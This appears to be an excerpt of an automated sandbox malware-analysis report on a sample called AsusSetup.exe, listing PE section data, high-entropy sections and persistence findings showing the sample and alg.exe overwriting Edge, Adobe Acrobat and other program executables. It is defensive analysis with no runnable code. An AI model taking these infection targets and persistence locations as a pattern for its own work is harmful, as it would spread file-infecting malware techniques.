Source: ie_to_edge_stub.exe.3.dr	Static PE information: section name: _RDATA
Source: GoogleUpdateComRegisterShell64.exe.3.dr	Static PE information: section name: _RDATA
Source: GoogleUpdateComRegisterShell64.exe.3.dr	Static PE information: section name: .gxfg
Source: GoogleUpdateComRegisterShell64.exe.3.dr	Static PE information: section name: .gehcont
Source: cookie_exporter.exe.3.dr	Static PE information: section name: .00cfg
Source: cookie_exporter.exe.3.dr	Static PE information: section name: .gxfg
Source: cookie_exporter.exe.3.dr	Static PE information: section name: .retplne
Source: cookie_exporter.exe.3.dr	Static PE information: section name: _RDATA
Source: identity_helper.exe.3.dr	Static PE information: section name: .00cfg
Source: identity_helper.exe.3.dr	Static PE information: section name: .gxfg
Source: identity_helper.exe.3.dr	Static PE information: section name: .retplne
Source: identity_helper.exe.3.dr	Static PE information: section name: _RDATA
Source: identity_helper.exe.3.dr	Static PE information: section name: malloc_h
Source: 117.0.5938.132_chrome_installer.exe.3.dr	Static PE information: section name: .00cfg
Source: 117.0.5938.132_chrome_installer.exe.3.dr	Static PE information: section name: .retplne
Source: Acrobat.exe.3.dr	Static PE information: section name: .didat
Source: Acrobat.exe.3.dr	Static PE information: section name: _RDATA
Source: AcroCEF.exe.3.dr	Static PE information: section name: .didat
Source: AcroCEF.exe.3.dr	Static PE information: section name: _RDATA
Source: setup.exe.3.dr	Static PE information: section name: .00cfg
Source: setup.exe.3.dr	Static PE information: section name: .gxfg
Source: setup.exe.3.dr	Static PE information: section name: .retplne
Source: setup.exe.3.dr	Static PE information: section name: LZMADEC
Source: setup.exe.3.dr	Static PE information: section name: _RDATA
Source: setup.exe.3.dr	Static PE information: section name: malloc_h
Source: msedgewebview2.exe.3.dr	Static PE information: section name: .00cfg
Source: msedgewebview2.exe.3.dr	Static PE information: section name: .gxfg
Source: msedgewebview2.exe.3.dr	Static PE information: section name: .retplne
Source: msedgewebview2.exe.3.dr	Static PE information: section name: CPADinfo
Source: msedgewebview2.exe.3.dr	Static PE information: section name: LZMADEC
Source: msedgewebview2.exe.3.dr	Static PE information: section name: _RDATA
Source: msedgewebview2.exe.3.dr	Static PE information: section name: malloc_h
Source: msedge_proxy.exe.3.dr	Static PE information: section name: .00cfg
Source: msedge_proxy.exe.3.dr	Static PE information: section name: .gxfg
Source: msedge_proxy.exe.3.dr	Static PE information: section name: .retplne
Source: msedge_proxy.exe.3.dr	Static PE information: section name: _RDATA
Source: msedge_proxy.exe.3.dr	Static PE information: section name: malloc_h
Source: msedge_pwa_launcher.exe.3.dr	Static PE information: section name: .00cfg
Source: msedge_pwa_launcher.exe.3.dr	Static PE information: section name: .gxfg
Source: msedge_pwa_launcher.exe.3.dr	Static PE information: section name: .retplne
Source: msedge_pwa_launcher.exe.3.dr	Static PE information: section name: LZMADEC
Source: msedge_pwa_launcher.exe.3.dr	Static PE information: section name: _RDATA
Source: msedge_pwa_launcher.exe.3.dr	Static PE information: section name: malloc_h
Source: notification_click_helper.exe.3.dr	Static PE information: section name: .00cfg
Source: notification_click_helper.exe.3.dr	Static PE information: section name: .gxfg
Source: notification_click_helper.exe.3.dr	Static PE information: section name: .retplne
Source: notification_click_helper.exe.3.dr	Static PE information: section name: CPADinfo
Source: notification_click_helper.exe.3.dr	Static PE information: section name: _RDATA
Source: notification_click_helper.exe.3.dr	Static PE information: section name: malloc_h
Source: pwahelper.exe.3.dr	Static PE information: section name: .00cfg
Source: pwahelper.exe.3.dr	Static PE information: section name: .gxfg
Source: pwahelper.exe.3.dr	Static PE information: section name: .retplne
Source: pwahelper.exe.3.dr	Static PE information: section name: _RDATA
Source: pwahelper.exe.3.dr	Static PE information: section name: malloc_h
Source: msedge_proxy.exe0.3.dr	Static PE information: section name: .00cfg
Source: msedge_proxy.exe0.3.dr	Static PE information: section name: .gxfg
Source: msedge_proxy.exe0.3.dr	Static PE information: section name: .retplne
Source: msedge_proxy.exe0.3.dr	Static PE information: section name: _RDATA
Source: msedge_proxy.exe0.3.dr	Static PE information: section name: malloc_h
Source: pwahelper.exe0.3.dr	Static PE information: section name: .00cfg
Source: pwahelper.exe0.3.dr	Static PE information: section name: .gxfg
Source: pwahelper.exe0.3.dr	Static PE information: section name: .retplne
Source: pwahelper.exe0.3.dr	Static PE information: section name: _RDATA
Source: pwahelper.exe0.3.dr	Static PE information: section name: malloc_h
Source: MicrosoftEdgeUpdate.exe.3.dr	Static PE information: section name: .didat
Source: MicrosoftEdgeUpdateBroker.exe.3.dr	Static PE information: section name: .didat
Source: SingleClientServicesUpdater.exe.3.dr	Static PE information: section name: .didat
Source: SingleClientServicesUpdater.exe.3.dr	Static PE information: section name: _RDATA
Source: AcroCEF.exe0.3.dr	Static PE information: section name: .didat
Source: AcroCEF.exe0.3.dr	Static PE information: section name: _RDATA
Source: SingleClientServicesUpdater.exe0.3.dr	Static PE information: section name: .didat
Source: SingleClientServicesUpdater.exe0.3.dr	Static PE information: section name: _RDATA
Source: MicrosoftEdgeUpdateComRegisterShell64.exe.3.dr	Static PE information: section name: .didat
Source: MicrosoftEdgeUpdateComRegisterShell64.exe.3.dr	Static PE information: section name: _RDATA
Source: MicrosoftEdgeUpdateCore.exe.3.dr	Static PE information: section name: .didat
Source: MicrosoftEdgeUpdateOnDemand.exe.3.dr	Static PE information: section name: .didat
Source: MicrosoftEdgeUpdateSetup.exe.3.dr	Static PE information: section name: .didat
Source: AppVLP.exe.3.dr	Static PE information: section name: .c2r
Source: OneDriveSetup.exe.3.dr	Static PE information: section name: .didat
Source: AdobeCollabSync.exe.3.dr	Static PE information: section name: .didat
Source: AdobeCollabSync.exe.3.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\AsusSetup.exe	Code function: 0_2_01FD68CE push E9000001h; retn 0000h	0_2_01FD68D3
Source: C:\Users\user\Desktop\AsusSetup.exe	Code function: 0_2_01FD52E3 push E9000001h; retf 0000h	0_2_01FD52E8
Source: C:\Windows\System32\AppVClient.exe	Code function: 7_2_00BE68CE push E9000001h; retn 0000h	7_2_00BE68D3
Source: C:\Windows\System32\AppVClient.exe	Code function: 7_2_00BE52E3 push E9000001h; retf 0000h	7_2_00BE52E8
Source: C:\Windows\System32\FXSSVC.exe	Code function: 10_2_00D268CE push E9000001h; retn 0000h	10_2_00D268D3
Source: C:\Windows\System32\FXSSVC.exe	Code function: 10_2_00D252E3 push E9000001h; retf 0000h	10_2_00D252E8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 11_2_009968CE push E9000001h; retn 0000h	11_2_009968D3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 11_2_009952E3 push E9000001h; retf 0000h	11_2_009952E8
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 12_2_00C068CE push E9000001h; retn 0000h	12_2_00C068D3
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 12_2_00C052E3 push E9000001h; retf 0000h	12_2_00C052E8

Source: AsusSetup.exe	Static PE information: section name: .reloc entropy: 7.909171977386322
Source: AppVClient.exe.0.dr	Static PE information: section name: .reloc entropy: 7.926383478449183
Source: FXSSVC.exe.0.dr	Static PE information: section name: .reloc entropy: 7.932560428980175
Source: elevation_service.exe.0.dr	Static PE information: section name: .reloc entropy: 7.934137158828998
Source: elevation_service.exe0.0.dr	Static PE information: section name: .reloc entropy: 7.9362222500865025
Source: identity_helper.exe.3.dr	Static PE information: section name: .reloc entropy: 7.9308459503172175
Source: 117.0.5938.132_chrome_installer.exe.3.dr	Static PE information: section name: .reloc entropy: 7.924990615411256
Source: 7zFM.exe.3.dr	Static PE information: section name: .reloc entropy: 7.922191769230744
Source: 7zG.exe.3.dr	Static PE information: section name: .reloc entropy: 7.917678665265775
Source: Acrobat.exe.3.dr	Static PE information: section name: .reloc entropy: 7.930139587851669
Source: AcroCEF.exe.3.dr	Static PE information: section name: .reloc entropy: 7.9270575714190405
Source: setup.exe.3.dr	Static PE information: section name: .reloc entropy: 7.9346434100610885
Source: msedgewebview2.exe.3.dr	Static PE information: section name: .reloc entropy: 7.926357085974897
Source: msedge_proxy.exe.3.dr	Static PE information: section name: .reloc entropy: 7.932385336292712
Source: msedge_pwa_launcher.exe.3.dr	Static PE information: section name: .reloc entropy: 7.936513051347911
Source: notification_click_helper.exe.3.dr	Static PE information: section name: .reloc entropy: 7.934183706757763
Source: pwahelper.exe.3.dr	Static PE information: section name: .reloc entropy: 7.931002327709391
Source: msedge_proxy.exe0.3.dr	Static PE information: section name: .reloc entropy: 7.932383792959081
Source: pwahelper.exe0.3.dr	Static PE information: section name: .reloc entropy: 7.931007666328552
Source: SingleClientServicesUpdater.exe.3.dr	Static PE information: section name: .reloc entropy: 7.934069883170879
Source: AcroCEF.exe0.3.dr	Static PE information: section name: .reloc entropy: 7.927076679261827
Source: SingleClientServicesUpdater.exe0.3.dr	Static PE information: section name: .reloc entropy: 7.9340774103989355
Source: MicrosoftEdgeUpdateSetup.exe.3.dr	Static PE information: section name: .reloc entropy: 7.930281169019227
Source: OneDriveSetup.exe.3.dr	Static PE information: section name: .reloc entropy: 7.862432729550158
Source: ADNotificationManager.exe.3.dr	Static PE information: section name: .reloc entropy: 7.927081705557461
Source: AdobeCollabSync.exe.3.dr	Static PE information: section name: .reloc entropy: 7.894460775779779

Persistence and Installation Behavior

Creates files in the system32 config directory

Source: C:\Windows\System32\alg.exe

File created: C:\Windows\system32\config\systemprofile\AppData\Roaming\9fbf4662b248c49c.bin

Jump to behavior

Drops executable to a common third party application directory

Source: C:\Users\user\Desktop\AsusSetup.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
